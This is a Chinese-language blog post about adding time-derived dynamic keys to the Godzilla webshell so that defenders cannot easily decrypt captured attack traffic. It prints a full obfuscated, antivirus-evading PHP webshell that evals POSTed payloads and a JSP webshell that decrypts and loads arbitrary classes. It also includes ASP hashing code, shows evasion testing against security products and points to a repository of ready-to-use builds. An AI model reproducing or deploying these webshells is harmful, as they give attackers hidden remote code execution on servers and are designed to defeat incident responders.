前言

有小伙伴说,上面的文章都做了动态的免杀,每次生成的木马都不一样,还挺好的,还有没有什么东西可以做成动态的,我想了想,如果把我们的密钥做成动态的,那岂不是,简单的实现了动态加密。

前置知识

首先我们来看,哥斯拉的加密传输过程

image-20241224145346679

这里我们可以看到,有两个关键点,就是 pass和key

pass就是传递的键,payload为值,payload是由key控制的,因为你每次需要发送的东西 都会进行异或一下。如果这里,我们把key设成动态的,那么也就是说,payload就会是动态的。当然,这不是重点,重点是,如果对方的安全设备上,捕获了我们的流量,他想解密我们在其中做了什么,那么就需要key解密,看图中的第八步,执行的结果需要xor才能获取值。好,如果我们的木马文件中,没有写key,或者把key写成动态的,如果他不知道key是什么,那么他就解不出来了我们做了什么了。当然,key是可以爆破的,就是比较麻烦了。

思路

这里我们也可以想到,因为我们必须要传上去一个木马,木马中必定带key和pass,并且本地也需要知道这个key,去和服务端通信。如果客户端发送一个key 再在木马中使用,那么流量中就会暴漏key了。那么,目前来看最好的协商密钥就是时间,我们的哥斯拉肯定是运行在本地的,那么时间肯定是准的,假设,服务器时间也是准的,那么,我们每次执行都需要key,那么也就是说key在变化,我们的payload也在变化。如果运维人员需要解密,那么,将需要更多的时间。

我们在假设一个场景,理想化一点当然如果服务器的时间和本地时间是准的,而安全设备的时间和服务器的时间不同步,那么他可能就解不出来我们的流量了,也就是不知道我们具体做了什么了。思路有了,下面来具体实现。

php 实现动态密钥

直接在我们免杀的基础上改一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?pHP
ini_set('error_reporting',chr(48));
header("HTTP/1.0 404 Not Found");
call_user_func(nsfocus("c2V0X3RpbWVfbGltaXQ="), 48);
$asiainfosec = Chr(98).Chr(97).Chr(115).Chr(101).Chr(54).Chr(52).Chr(95);
$huawei = "\x63\x6f\x64\x65";
function hillstonenet(/*antiy*/$chaitin,$topsec){
for($damddos=Chr("48");$damddos<strlen($chaitin);$damddos++) {
$dbappsecurity = $topsec[$damddos+Chr("49")&chr(49).chr(53)];
$chaitin[$damddos] = $chaitin[$damddos]^$dbappsecurity;
}
return $chaitin;
}$sangfor=nsfocus("cGFzcw==");$threatbook = nsfocus("WVhsc2IyRms=");
$qianxin = $asiainfosec.Chr(101).Chr(110).$huawei;
function nsfocus($strshiwu){
global $asiainfosec,$huawei;
$func = $asiainfosec.Chr(100).Chr(101).$huawei;
return call_user_func($func, $strshiwu);
}$qingteng=nsfocus("M2M2ZTBiOGE5YzE1MjI0YQ==");
$venustech = nsfocus("WjJWMFFtRnphV056U1c1bWJ3PT0=");
if (isset($_POST/*qingteng*/[$sangfor])) {
@session_start();
$alibaba=hillstonenet/*antiy*/(nsfocus($_POST[$sangfor]),$qingteng);if (/*antiy*/isset($_SESSION/*leadsec*/[$dptech])) {
$antiy=hillstonenet($_SESSION/*hillstonenet*/[$dptech],$qingteng);
if (/*antiy*/strpos($antiy,nsfocus/*antiy*/($venustech))===false) {
$antiy=hillstonenet/*antiy*/($antiy,$qingteng);
}define("leadsec","//alibaba\r\n".$antiy);@eval(leadsec);echo "{\"message\":\"".$qianxin(hillstonenet(@run($alibaba),$qingteng))."\"}";
} else {if (strpos/*nsfocus*/($alibaba,nsfocus($venustech))!==false) {
$_SESSION[$dptech]=hillstonenet($alibaba,$qingteng);
}
}
}

$qingteng=nsfocus(“M2M2ZTBiOGE5YzE1MjI0YQ==”); 为key的base64,

先看下时间

image-20250106110658577

php很简单就能获取到,在取该时间的md5的前16位

image-20250106110937329

可以看到也可以取到,那么,给到我们定义的key即可。

image-20250106111038800

也就是这样。

好,木马做好之后,就是客户端了。我们修改一下客户端。

到连接的代码中改一下,和php的一样,要严格一样,不然md5不对,肯定是连不上的,

image-20250106111257535

先获取时间,在md5 在取前十六位,在复制给key就可以了。

看下木马的key,image-20250106111506618

简单随机,不固定

打包编译即可。

来测试一下。

image-20250106111624123

image-20250106111737530

image-20250106111750915

功能都没有问题。

好,现在来说一下缺点,没说之前,我们还是要仔细的来了解一下哥斯拉的传递参数原理。

image-20250106112822066

这个界面,我们点击测试的时候,哥斯拉会传递一个大包,

image-20250106112904595

也就是这个,他会很大,且发送包不携带cookie。服务器端会生成一个PHPSESSID的值,来存储请求的大包,这个请求的大包是什么呢,我们可以解出来看一下。

image-20250106144059303

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key = "3c6e0b8a9c15224a";
echo gzdecode(encode(base64_decode(urldecode("fL1tMGI4YTljMn57Hn1UB6v7qeNJ8EnZKTDH/tKI4/eBVFWTRgtWLK0ZfB8cNRIzPu0bNVk4YTk=")),$key));
echo "\n";
echo encode(base64_decode(urldecode("fL1tMGI4YTljMn57Hn1UB6v7qeNJ8EnZKTDH/tKI4/eBVFWTRgtWLK0ZfB8cNRIzPu0bNVk4YTk=")),$key);

代码太长了,简单说一下,就是各种功能的一些函数,如文件读取,创建,命令执行等等很多。

也就是说,哥斯拉会把所有的功能储存到一个session中,后面执行命令的时候,直接调用函数,在进行传参就可以了。然后close掉。

这是点击测试的流程。

下面是执行命令的流程。

image-20250106145104840

当我们点击进入后,会有三个包

image-20250106145426293

第一个就是特别长的包,包含所有功能,存储到一个session中

image-20250106145741094

然后就是发送测试包,没有问题的话,就是发送getBasicsInfo包获取基本信息了。

这里就是有一个问题,假设我们在06 January 2025 15:00点击进入页面,

image-20250106150249553

那么,当我们点击进入页面后,就会使用06 January 2025 15:00的key去异或所有的功能的那个包然后存储到sessionid中,那么问题来了,当时间为06 January 2025 15:01 时,key就会变化,也就是说木马变了。而调用sessionid中的功能的key变化了,所以进入的这个页面就不能用了。

那么我们就可以遇到一个问题,不能实时的动态key了。退而求其次,笔者这里采用十分钟一次和60分钟一次。

10min:我们将key设为06 January 2025 15:0时,那么这个终端就可以使用十分。有同学问了,如果是15:09连上的,能用几分钟,显然,能用一分钟,下一分钟时间变成了06 January 2025 15:1,就不能用了。

60min:我们将key设为06 January 2025 15时,那么这个终端就可以使用十分。有同学问了,如果是15:50连上的,能用几分钟,显然,能用10分钟,下10分钟时间变成了06 January 2025 16,就不能用了。

好,如果不能用了后,怎么再次使用,其实很简单,image-20250106154650833

这个页面,关与不关都无所谓,

image-20250106154746122

只需从新点击进入即可,

image-20250106154815100

接着用。如果大家渗透测试的时候,如果打开了一个文件,或者扫描了什么,都不影响,只要不关掉即可。关掉了也没事,就是在想截图的时候,就截不到了。image-20250106154853081

tips:当执行命令,执行完后,返回null或者啥也不返回,先看时间或者从新进入一次,再怀疑是不是被应急了。

image-20250106155133587

怕影响同学们的使用体验,十分钟就要退出一次,可能有点频繁,所以笔者这里也做了60min的过期时间,当然如果,恰巧在12:59分的话,也没有办法,那就从新点进入一下吧。

有小伙伴可能有疑惑,能不能再长一点时间,其实我是不建议的,为什么呢?假设我们设置了个一天的,那确实不用一直退出了,但是key就不变化了,那么也就是说,跟原来的不动态key加密没有什么区别了,设成一天,还不如直接用定死的key,所以这里没有定义一天的。我们做动态key的初衷就是让运维人员不好解密我们的流量或者解密流量难一些,定义一天流量解密变得简单了,所以暂时先不做吧。

image-20250106170342545

当然,当你使用动态key的木马后,就不能使用自己的key了,在连接时输入的key也不起作用了。

image-20250107102102047

大家记得,用的时候先去生成哦。

还有一个小事,因为我们动态key的木马连接的时候不需要输入key了,相应的,别人有密码就可以连接你的木马,所以我们使用的时候,尽量把密码设置的复杂一些,自己辛辛苦苦打的成果别让人家上了车。

这里就不写代码过程了,大家直接下载就好了。

jsp 实现动态密钥(暂未实现)

由于笔者能力太菜,jsp的暂未实现。

为什么没能实现呢,大概就是,木马在声明标签<%! %>中定义了key,但是当我们把时间定义为key后,key是不变化的。当这个文件被创建时,就定死了。所以达不到动态的。

image-20250109105239865

image-20250109105251342

无论怎么刷新,都不能改变上面的时间了。只有在<%! %>中定义才可以。但是aes解密又解不了了。暂时还没研究明白,先搁置把。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class X extends ClassLoader{
public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }


public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }

public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; }

public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%>

<%try{
String pass="pass";
String xc="3c6e0b8a9c15224a";


byte[] dataa=base64Decode(request.getParameter(pass));


Cipher c = Cipher.getInstance("AES");
// Initialize for encryption (1) or decryption (2)
c.init(2,new SecretKeySpec(xc.getBytes(),"AES"));
byte[] data = c.doFinal(dataa); // Encrypt the data

//response.getWriter().write("Base64 编码的时间3: " + data + "<br>");
if (session.getAttribute("payload")==null){


session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}


else{request.setAttribute("parameters",data);
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute("payload")).newInstance();
//response.getWriter().write("Base64 编码的时间: " + f + "<br>");
f.equals(arrOut);
Cipher d = Cipher.getInstance("AES");
d.init(1,new SecretKeySpec(xc.getBytes(),"AES"));
byte[] data2 = d.doFinal(arrOut.toByteArray()); // Decrypt the data
//response.getWriter().write("Base64 编码的时间: " + arrOut + "<br>");
String sss=new String(base64Decode("eyJtZXNzYWdlIjoi"));
String ddd=new String(base64Decode("In0="));

f.equals(pageContext);
// response.getWriter().write("Base64 编码的时间: " + pageContext + "<br>");
response.getWriter().write(sss);
f.toString();
response.getWriter().write(base64Encode(data2));
response.getWriter().write(ddd);} }catch (Exception e){}
%>

如果有大牛感兴趣,可以帮帮我,欢迎留言。

asp 实现动态密钥

asp和php的差不多,

我们原版的木马中,并不带md5函数,我们要获取md5 进行实时加密么,

1
2
3
4
5
6
7
Function MD5(text)
With CreateObject("MSXML.DOMDocument").createElement("a")
.dataType = "bin.hex"
.nodeTypedvalue = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider").ComputeHash_2(CreateObject("System.Text.UTF8Encoding").GetBytes_4(text))
MD5 = .text
End With
End Function

网上找个md5加密,对取到的时间进行md5就可以了,

image-20250110162516852

就可以获取到key了。

image-20250110162801008

同样的,60分钟的也做好了。

我们配合我们的免杀,一起封装到godzilla里

image-20250110162854098

使用的时候,先进行生成

image-20250110162932114

一种10min,一种60min的,生成的时候,key不用管,填写了key,也不生效了。

只用填pass,记得设复杂一点。

上传,使用连接即可,

image-20250110163028486

连接的时候,选择即可。

image-20250110163102386

进入。执行命令即可。

asp和php的判断是否时间到期有一丢丢区别,就是,如果到时间了,不能用了,不会显示空,而是显示一些乱码,

image-20250110163246095

没有关系,从新点进入即可。

image-20250110164330274

当到期后,不会显示null,会显示一个乱码,见上图。就是过期了,从新进入就可以了。

和php一样,当16:49分时就能用一分钟了,需要从新进入了。

好,简单试下免杀,

image-20250110164643501

其他平台就不试了,应该也没问题。

好,asp就到这里。下面aspx。

aspx 实现动态密钥

原理都是一样的,改改代码即可。

aspx 实现md5 FormsAuthentication.HashPasswordForStoringInConfigFile(str, “MD5”)

然后获取一下时间,即可,

Response.Write(currentDate.ToString(“yyyy-MM-dd HH:mm:ss”));

image-20250113114202059

然后这里,我们将时间进行md5,再然后截取即可。

image-20250113114400702

大概这样,好,我们先来个十分钟的进行测试一下啊。

image-20250113114736675

image-20250113114804784

image-20250113114830763

使用起来没有问题。当十分钟后,时间到期了

显示的内容和php的一样,

image-20250113115047127

会什么也不返回。这时候,从新进入既可以了

image-20250113115320481

image-20250113115450558

同样的,给大家准备了,两个时间版本供选择,10min和60min的。

image-20250113115758077

接下了,将木马封装到godzilla中。

image-20250113135939818

生成木🐎

image-20250113140037262

两种选择,都加了免杀效果。大家记得使用的时候把pass设置复杂一些,防止上车。

image-20250113140617749

image-20250113140429466

image-20250113140501275

使用都没啥问题。好,asp也写完成了。

总结

本文对php、jsp、asp、aspx四种语言尝试实现动态密钥,但是遗憾是jsp语言暂未实现。如果有大牛有兴趣可以研究一下。

php、asp、aspx三种语言都实现了,动态密钥生成连接。都为10min和60min两种选择。

php:PHP_XOR_BASE64_MESSAGE_60min、PHP_XOR_BASE64_MESSAGE_10min

asp:ASP_XOR_BASE64_MESSAGE_data10min、ASP_XOR_BASE64_MESSAGE_data60min

aspx:CSHAP_AES_BASE64_DATA_10min、CSHAP_AES_BASE64_DATA_60min

下个版本

大家可以发现,该版本我写的文章较少,有许多代码都没有详细的写出来,一些时间的获取上,都没有列出来,为的就是大家可以多使用一些时间。所以这个版本笔者先暂不公布代码,下个版本在进行公布在github。

1.2版本实现动态密钥获取,但是并没有改流量以及加密方式,只是做了伪装,
后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。还有传递的参数 page=1&size=10 是固定的,让他也动起来,比如Accept-Language、User-Agent这种header头实现动态的 。其他语言的 比如 jspf的 ,asmx的都没做,笔者后面做。

这里收集个建议,就是说,我们实现了 10min和60min的换密钥,笔者在测试的时候,其实是可以实现1分钟,或者任意时间换密钥的,就是想问下,需不需要1min这种shell,就是我就不想让蓝队那么快解密,甚至解不出来、但是比较极限,执行两条三条命令就要从新点击进入,有些麻烦,或者其他想法。留言即可。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai

release 1.0 流量修改版本,src代码也以上传,大家直接下载研究即可。

release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。

release 1.2 流量修改+免杀+动态密钥版本,大家直接下载使用即可。

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
1
2
3
https://github.com/BeichenDream/Godzilla            致敬原版哥斯拉
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎v4.0传输协议详解
https://yzddmr6.com/posts/antsword-xor-encoder/ 蚁剑实现动态秘钥编码器解码器

emmm 太菜了
一直在路上